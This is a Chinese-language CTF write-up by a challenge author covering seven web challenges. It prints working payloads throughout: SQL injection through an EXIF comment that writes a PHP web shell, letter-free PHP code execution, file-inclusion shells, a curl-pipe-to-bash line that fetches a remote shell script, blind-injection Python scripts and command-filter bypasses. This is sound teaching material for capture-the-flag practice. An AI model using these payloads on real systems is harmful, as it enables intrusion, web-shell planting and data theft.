Author:颖奇L’Amore

Blog:www.gem-love.com

题目现已开源:https://github.com/y1nglamore/Y1ngCTF


本次web题目列表如下,其中红色为我出题的题目:

  1. 你没见过的注入
  2. 你取吧
  3. 给你shell
  4. ALL_INFO_YOU_WANT
  5. Login_Only_For_36D
  6. RemoteImageDownloader
  7. WUSTCTF_朴实无华_Revenge

因为时间紧张+难度要偏难+好题已经投安恒了,导致出题质量不佳,某些题目完全是为了出题而出题,我本人也不是很喜欢这类题目,在此先给大家致歉。


你没见过的注入

提示:

不需要爆破、扫描
没有源码泄露
登陆不上去找txt

考点:Recon、EXIF、SQLi

难度:难

这道题做了接近5个小时才出,很幸运拿到了一血。前端很好看:

fuzz之后发现无法注入,在robots.txt找到hint:

User-agent: *
Disallow: /pwdreset.php

然后在这个pwdreset里面可以重置密码,直接充值一下密码然后登陆就可以了(fuzz这个重置密码也没有找到注入点),登陆之后发现是上传:

测试发现,不管是什么文件名,最后都成为了md5.zip的格式,点击即可下载,虽然只是简单重命名并没有进行zip压缩

经过接近30min的测试,都没有bypass这个zip后缀,然后我对同一个包进行重放发现也会生成多个不同文件名的文件,所以md5应该是直接哈希了和时间有关的东西或者是随机数。

除此之外,还会检测文件的类型以及换行,并以列表形式显示出来:

简单fuzz之后就应该知道不是个上传getshell题目,结合题目名考虑还是注入。之前xctf有过文件名注入的题目,将文件名insert插入数据库,就造成了注入,比如可以使用类似这样Payload的报错注入:

1' or updatexml() or '1

我猜测本题目可能也是这样考的,把源文件名存进数据库然后保存成md5.zip,但是测试了很多种不同的payload组合,都是失败了,所以考点可能也不在这里。

之后我注意到了filetype和换行,对于换行这个东西没有什么想法,filetype的话很可能是存入数据库的,如果能够欺骗PHP的文件类型检测,就可以插入SQL语句造成注入了,问题在于如何做到,以及此方法是否可行都是未知数

后来发现,它很有可能是使用了finfo类下的file()方法进行检测才输出了这样的结果,然而查了好久也没查到有相关的信息:

然后我决定去手撕PHP的C源码,看到不是特别明白这里就不说了,但是发现这个file()方法可以检测图片的EXIF信息,而EXIF信息中有一个comment字段,相当于图片注释,而finfo->file()正好能够输出这个信息,如果上面的假设成立,这就可以造成SQL注入

然后根据之前xctf的那个文件名注入的题目的sql语句,猜测本题目的语句应该大概是这样的:

insert into column(name, type, lineFeed) values ($filename, $filetype, $filelinefeed);

所以需要先构造这个insert语句闭合。insert不能联合查询什么的,不过也不用去专门构造Payload,只要堆叠注入就可以了。

因为filelist里面是输出的文件信息,应该是上传时候insert进去的,然而对insert堆叠并不能更新数据库信息,这样就没有回显,无回显的话只能靠延时了,先弄个延时测试一下吧

之后就是下一个问题,如何更新exif信息?可以使用exiftool工具,Payload:

exiftool -overwrite_original -comment="y1ng\"');select if(1,sleep(20),sleep(20));--+" y1ng.jpg

之后直接file命令就可以看到comment:

当然用EXIF在线查看器也可以:

之后就是上传,如果可以造成注入,那么应该就可以直接延时,上传发现果然延时成功了,说明可以注入

现在是注入点找到了,也没有任何过滤,下一步做什么?时间盲注?根本不现实,因为一个Payload代表这要生成一次新的图片+上传一个新的图片,过于复杂,所以考虑直接getshell,Payload:

exiftool -overwrite_original -comment="y1ng\"');select 0x3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"

其中select后面的16进制转一下字符串为<?=`$_POST[0]`; 因为我最开始是直接把一句话木马转16进制然后用了这个Payload,然而outfile后面路径到/v后面就没了,应该是太长了:

所以用一个尽量短的php脚本,更新exif,上传,即可直接getshell:


你取吧

考点:Bypass、RCE

难度:简单

直接非预期一把梭了,从打开题目到RCE没用超过1分钟

打开题目得到源码:

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");
?>

感觉他这个最后的eval("echo($code);");是想让echo $hint;然而这个黑名单太弱鸡了,可以直接RCE。大名鼎鼎的P牛曾经发过无字母数字的RCE方法,直接拿来他的Payload:

?code=" ");$_=[];[email protected]"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//

先把前面echo()给闭合了然后上Payload之后再吧后面给注释了,P神的Payload直接保存在本地了拿过来直接用,再POST提交_=system('cat /flag');即可。


给你shell

考点:代码审计、弱类型、JSON伪造、fuzz、苛刻条件RCE

难度:难

这是我出的一个比较恶心的题目,难度确实很高因为后面的黑名单没有给出而且过滤了很多东西。

第一层

打开题目可以看到写着:I prepared a webshell for you,查看HTML源码发现了view_source:

点开得到源码:

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

代码使用了三目运算符,感觉大家都能看得懂,这里只能迷惑一下小白(不过小白就算这里过了后面估计也做不出来2333)

代码逻辑如下:

  • 有个名为secret的cookie,存的是json
  • checkCookie()函数要求这个json只有一对键值,并且不能有乱七八糟的其他符号
  • check过了就会json_decode()并且保存在$obj
  • 如果secret对应值和$flag_md5相等则给出shell,不等则调用haveFun()函数
  • haveFun()函数的for循环中用i和flag的md5按位&运算并输出结果

这里先说一下,有师傅问为什么0和64输出了40个,而循环明明走了30轮?实际上,view_source看到的并不是index.php的一模一样的源码,虽然里面有show_source(__FILE__);,但请问:如果真的是show_source(__FILE__);那么index.php的前端那些html代码去哪了?实际上,我只是把这些代码保存到了一个txt文件,如果设置了$_GET['view_source']highlight_file()那个txt,这样可以减少不必要的html代码输出,更直观一些。不过因为上题时候忘了改,index.php里循环跑了40次,实际上跑的是sha1()的长度,然后sha1和md5返回的长度不一样,最开始是用sha1后来改成了md5,但是循环次数那里忘了改,于是就多跑了8次循环,不过无所谓

弱类型

实际上,这题不懂haveFun()都无所谓,因为是要做比较$obj['secret'] != $flag_md5,肯定是弱类型,直接无脑爆破就好了

这个haveFun()是做&运算,如果是数字和0xC0&结果就是0,如果是字母则结果是64,转成二进制自己算一下就知道了,这里不展开细说。然后根据返回的前3位是0可知是3位数的弱类型

这里有师傅说了,三位数字也可能是001、088这样数字开头的md5,这完全有可能,但其实json不能处理这样的数字,本地搭环境试一下就知道,这样$obj['secret']会得到null

JSON伪造

$obj['secret']是在cookie的JSON进行decode得到的,然而直接这样的JSON会返回字符串,不能用弱类型:

{"secret":"100"}

可以来观察一下这个正则就发现了问题:

/^[\"0-9A-Z]*}$/

正则直接将引号放到了[]里面,后面限定还是使用了星号,这意味着可以不使用双引号,对于没有双引号的话json_decode()就可以得到int了。直接burp intruder爆破:

Cookie: secret=%7B%22secret%22%3A§100§%7D; PHPSESSID=qo4945s5fmf4cm9felkraciok4

非常快就跑出来了这个值为115(特意选了小的数,为了减小服务器压力,只要get到考点就十六个包就Ok了)

FUZZ

然后来到shell,发现是个套娃,还需要bypass,给了源码:

<?php
error_reporting(0);
session_start();

//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";

if (!$_SESSION['login'])
    die('<script>location.href=\'./index.php\'</script>');

if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}

/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/

源码主要有两点恶心的:

  • 1.黑名单不可见,需要自己fuzz
  • 2.eval()只能用来设置session

fuzz黑名单就和做SQL注入时候fuzz一样,用burp或者自己写Python脚本,记得带上session不然会跳转,这是常规操作不展开说了,fuzz结果如下:

  • f、sys、include
  • 括号、引号、分号
  • ^ &等运算符
  • 空格 / \ $ ` * #等符号

Bypass&RCE

可以看到这黑名单ban的简直丧心病狂,分析一下:

  • 没括号 只能执行很少不需要括号的函数 比如echo “aaa”;
  • 然后又没有引号 不能自己传值
  • 还没有空格 执行函数的话必须后面直接接上东西
  • 没有分号,很恶心
  • 命令在$_SESSION[' ']里,还需要先逃逸出来
  • 没有$和分号,命令拼接无效

直接给payload吧:

?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
  • 首先用]=1来把session给闭合了
  • 分号作为PHP语句的结尾,起到表示语句结尾和语句间分隔的作用,而对于php的单行模式是不需要分号的,因此用?><?来bypass分号,这里我刚考完然后De1CTF就考了这个考点
  • 没有括号 使用那些不需要括号的函数 这里使用require
  • 没有引号表示不能自己传参数,这里使用取反运算
  • 由于PHP黑魔法 require和取反运算符之间不需要空格照样执行

这样就读了flag.txt,得到:

可以,说明你ctfshow的红包2没白做,flag在/flag,同样的方法去读取吧。

然后取反/flag包含一下flag就出来了:

?code=]=1?><?=require~%d0%99%93%9e%98?>

ALL_INFO_YOU_WANT

考点:敏感文件泄露、文件上传原理、phpinfo包含、日志包含、linux命令

难度:简单

我认为这是个白给题,然而很多选手卡在了phpinfo,很思维僵化的去条件竞争包含临时文件,这么慢的不可能包含成功,后面特意放了hint:不需要跑脚本

本题目有两种预期解法,PHPINFO包含或者日志包含,我主要讲PHPINFO+包含临时文件的方法

信息搜集

首先,前端是个无用的魔方(还真有人还原成功了 给跪了),直接先F12发现注释:

<!-- find something by your scanner -->

丢进扫描器,扫到备份文件index.php.bak,下载,打开:


visit all_info_u_want.php and you will get all information you want
= =Thinking that it may be difficult, i decided to show you the source code:

<?php
error_reporting(0);

//give you all information you want
if (isset($_GET['all_info_i_want'])) {
    phpinfo();
}

if (isset($_GET['file'])) {
    $file = "/var/www/html/" . $_GET['file'];
    //really baby include
    include($file);
}
?>

really really really baby challenge right?

分析代码

第一行写着all_info_u_want.php可能好多人没看到,对着index.php一通乱锤然后私聊我为啥没出phpinfo是不是题目坏了….

可以看到这代码很简单,给phpinfo+包含,因为包含时候前面拼接了路径,因此php wrapper无法使用,通过PHPINFO也能发现不能url_include,但是可以构造目录穿越来包含。

因为题目的Dockerfile和我的不一样,题目最初默认开了session.upload_progress.enabled导致有的师傅去条件竞争session,然而大概也不会成功因为比较卡,发现后就把这个给关了。

预期解法1 – 包含日志文件

这种解法比较签到,是常规思路,这题的定位本来就是个白给的题目,所以就没改掉日志

由http回包header得知是NGINX,直接:

all_info_u_want.php?file=../../../../../var/log/nginx/access.log

但是因为url会被url编码,可以把一句话木马写在User-Agent,另外记得一定要闭合不然php执行会出错,包含即可RCE:

预期解法2 – 包含临时文件

这里肯定有人疑惑了,常规的包含临时文件有如下2种方法:

  • 1.条件竞争 不断上传然后包含
  • 2.利用php7的segment fault

但是本题目都不适用,还怎么包含临时文件?

相信你肯定看过这张图:

php会在脚本执行结束后删掉临时文件,而段错误方法就是让php执行突然中止这样临时文件就保留了。

既然“php会在脚本执行结束后删掉临时文件”,不让PHP的脚本执行结束不就行了吧?只要自身包含自身就进入了死循环,死循环要么被用户打断要么被nginx超时掉,php执行没有结束,临时文件不就得以保存了吗?

另外,可以通过phpinfo()来看临时文件的位置,带上all_info_i_want参数来打开phpinfo,然后开始自身包含,写个上传表单:

<html>
<form action="https://81f8611a-900b-416f-ba07-eb70eca7aed1.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post" enctype="multipart/form-data">
    <input type="file" name="filename">
    <input type="submit" value="提交">
</form>
</body>
</html>

上传后直接手工停掉他的死循环防止卡死,然后phpinfo里就能看到临时文件了:

包含之,即可getshell:

linux命令考察

因为告诉了需要自己找flag,肯定是要find命令,先弹个shell

y1ng=system('curl http://y1ng.vip/shell.txt|bash');

很多人肯定是用了这个命令 但是找不到:

因为这个命令会的人太多了,想让大家学点儿别的,既然flag的名字不是flag,就只能搜文件内容了

find /etc -name "*" | xargs grep "flag{"

但是因为告诉了/etc目录 也不排除有人是手工翻出来的


Login_Only_For_36D

考点:吞单引号、区分大小写的regexp、时间盲注

难度:普通

这题是非常非常常规的注入思路,但是最开始很长时间都没人做,不知道是不是看到solve少就直接吓跑了

但是这题因为关键字过滤的不是很充分,导致了一些非预期

fuzz

注释直接给了sql语句:

<!-- if (!preg_match('/admin/', $uname)) die; -->
<!-- select * from 36d_user where username='$uname' and password='$passwd'; -->

fuzz发现ban掉了:

  • 单引号
  • select substr等很多关键字
  • = > <
  • 空格 – ; |等符号

分析&盲注

然后看下这个正则:

if (!preg_match('/admin/', $uname)) die;

一方面,他告诉了用户名是admin;另一方面,它存在漏洞,因为是匹配,只要含有admin就可以了,因此可以用admin\把单引号注释掉让后面$passwd逃逸出去,包括后面用的regexp binary都是BJDCTF 2nd刚考过的考点

逃逸之后,用注释符代替空格,用#做注释符,整个SQL语句大致为:

select * from 36d_user where username='admin\' and password=' your_sql_here# ';

可以看到这个username必不可能存在,语句查询后面需要用or语句;sql语句给了column名叫password直接往出注就好了,根据过滤可以考虑使用regexp binary。测试发现即使构造布尔true也会返回登录错误,不能布尔盲注,因而只能时间盲注了。脚本:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import time as t

url = 'http://127.0.0.1:9990/'
alphabet = ['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

data = {
    'username':'admin\\',
    'password':''
}

result = ''
for i in range(20):
    for char in alphabet:
        payload = 'or/**/if((password/**/regexp/**/binary/**/"^{}"),sleep(4),1)#'.format(result+char)
        data['password'] = payload
        #time
        start = int(t.time())
        r = requests.post(url, data=data)
        end = int(t.time()) - start

        if end >= 3:
            result += char
            print(result)
            break
        # else:
            # print(char)
            # print(r.text)

根据网络情况调整延时的时长,注出来密码登录即可看到flag。

非预期示例 – Mrkaixin

不过因为ban的函数比较少,还是出现了一些非预期,不过这样也好,可以大胆发挥,这里举一个非预期例子:

# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2020-05-01 19:32
FileName: exp.py
"""

import binascii


def hex(num):
    num = str(num)
    return "0x" + str(binascii.b2a_hex(num.encode('utf-8')), 'utf-8')


def main():
    global temp_text
    import requests

    url = "https://496ed4ab-ed77-4234-a723-757d1068f4c1.chall.ctf.show/"
    requests.packages.urllib3.disable_warnings()

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    temp_text = ""
    for j in range(1, 50):
        for i in range(0x20, 0xff):
            payload = f'username=admin\&password=or(if(right(left(`password`,{j}),1)in(binary({hex(temp_text + chr(i))})),sleep(3),1))#'

            try:
                response = requests.request("POST", url, headers=headers, data=payload, timeout=3, 
                                            verify=False)
            except:
                temp_text += chr(i)
                print(temp_text)
                break

    print(temp_text)


if __name__ == '__main__':
    main()

Remote_Image_Downloader

考点:PhantomJS任意文件读取

难度:简单

原题:Fireshell 2020 ScreenShooter

直接原题拿过来,自己写了个前端+后端写了个下载功能,别的一点没变,做法一模一样,直接点击上面的原题看原题wp吧


WUSTCTF_朴实无华_Revenge

考点:浮点精度、md5爆破、命令执行绕过、Linux命令

难度:简单

这题因为出题中多次翻车,出现很多非常简单的非预期,非预期都很简单大家都能直接看出来,这里只介绍预期解

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.]/', $num)) {
        die("非洲欢迎你1");
    } else {
        if ( (preg_match_all("/\./", $num) > 1) || (preg_match_all("/\-/", $num) > 1) || (preg_match_all("/\-/", $num)==1 && !preg_match('/^[-]/', $num))) {
            die("没有这样的数");
        }
    }
    if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

修到最后,还是有非预期,然后我现在已经懒得修了,cop师傅给了个可用的非预期:00.0

第一层

先分析,由这个判断可知需要传一个整数进去:

if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

但是正则中放了小数点:/[^0-9.]/

由这个判断可知不能用int溢出:

if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }

由这个判断可知需要传进去的是回文又不是回文,是个矛盾判断:

if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }

对于这个矛盾判断实际上很好绕过,比如100.0010,这种就可以绕过了,关键在于这个intval($num)==$num不好绕:

$numPositve = intval($num);
if ($num != $numPositve) {
        die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
    }

可以发现,这里使用了不严格判断,也就是俩等号,这样的话就可以使用浮点精度来绕过:

不仅PHP,浮点精度问题在很多语言中都有,这是老生常谈的问题,不做过多介绍了。

然后为了!isPalindrome($num) 就在后面再加上一个0即可,payload:

?num=1000000000000000.00000000000000010

第二层

主要是要碰撞一个这样的md5:

$md5==md5(md5($md5))

无脑碰撞,最笨比的爆破方法,2h出结果:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#__Author__: 颖奇L'Amore www.gem-love.com

import hashlib

for i in range(0,10**33):
    i = str(i)
    num = '0e' + i
    md5 = hashlib.md5(num.encode()).hexdigest()
    md5 = hashlib.md5(md5.encode()).hexdigest()
    # print(md5)
    if md5[0:2] == '0e' and md5[2:].isdigit():
        print('success str:{}  md5(str):{}'.format(num, md5))
        break
    else:
        if int(i) % 1000000 == 0:
         print(i)

得到结果:0e1138100474

在Hack Dat Kiwi 2017 Md5 Game2中,出了md5($md5) == md5(md5($md5))的题目,当然也是爆破,但是官方wp对爆破的效率等进行了分析,感兴趣的自行阅读:

To do this challenge, we must first do the math. MD5 is 128 bit. To force a collision, we need to generate 2128 entries, which is roughly 103*12.8 = 1038 (210 ~= 103). However, according to Birthday Paradox, to have a 50% chance of collision, we need to only generate Sqrt(2128 * 2), which is roughly 264, roughly 1019.

That’s still too much, although achievable in theory. Our single-machine brute-force power is roughly 230 to 240 instructions, and 220 to 230 MD5s. And that’s why we use Rainbow Tables for breaking MD5.

In MD5 1, we wanted to create a string, that has a hash in pattern 0e[0-9]{30}. A match could be found in roughly 10 million generations (roughly 10 seconds). In MD5 2, we need to do the same process twice, i.e., find some string that has a hash in pattern 0e[0-9]{30}, and then find enough of those strings to have one of them match the same pattern. That would be 10 million x 10 million, i.e. 10 seconds * 10 million, i.e. 100 million seconds. Clearly this is not the solution (3 years on a single machine).

However, we can use Meet in the Middle to break down the complexity, just like Birthday Paradox uses meet in the middle to break down the complexity significantly. To do that, we need to borrow MD5 Games 1’s solution.

What we want to do, is instead of doing step 1 (find a string that has a hash of 0e[0-9]{30}) 10 million times, and then do step 2 10 million times on each of the step 1’s results, we start in between and go back and forth at the same time.

We want to start from a large set of 0e[0-9]{30}s (or equivalent, as in 00e[0-9]{29} etc.) called S, generated via a script. Then we keep hashing these until we find one that correlates to another 0e[0-9]{30} (or equivalent) called E. This process requires 10 million computations (roughly 10-100 seconds). Now we want to be able to reverse the item from set S (called E), into something that hashes into E. That’s where we use Rainbox Tables (hash breakers). Of course for our random hash E, the chances of Rainbox Table breaking it are very low. However, by generating multiple Es (roughly a thousand) we have a good chance of getting back a string that hashes to one of those Es.

Keep in mind that unlike MD5 1, where we needed a specific string (in form 0e[0-9]+) that hashed into 0e[0-9]{30}, here we can use any string as source, although it doesn’t make any computational difference. Thus, the computation complexity of MD5 Games 2 would be roughly 1000 times higher than that of MD5 Games 1. If you had a good code for that (10 seconds result) you should get a result after 10,000 seconds of finding Es. But you have to know the odds and do the math before you try the rainbow table (many of which are freely available online), otherwise you’ll be stuck in a loop forever.

还有个队内的师傅的脚本10min内就出结果。

第三层

命令执行,ban了很多东西:

if(!strstr($get_flag," ")){
    $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
    $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
    if (preg_match("/['\*\"[?]/", $get_flag)) {
        die('非预期修复*2');
    }
    echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
    system($get_flag);
}

考察linux基础,解法不唯一,这里只给一种例子:

?num=1000000000000000.00000000000000010&md5=0e1138100474&get_flag=ca\t<flag.ph\p

实际上反斜线也算非预期吧,当时ban php想的是防止php反弹shell,然后flag放在根目录下,用rev</flag|rev来读取,后来因为管理员build时候把flag放在flag.php,读取的话需要绕过php所以反斜线就保留下来了

总之非预期不非预期的吧都无所谓,出题的初衷是希望大家学到点东西

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2283.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

分类: CTF

颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

1 条评论

xiaotan · 2020年5月5日 10:07

大师傅,学到了

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image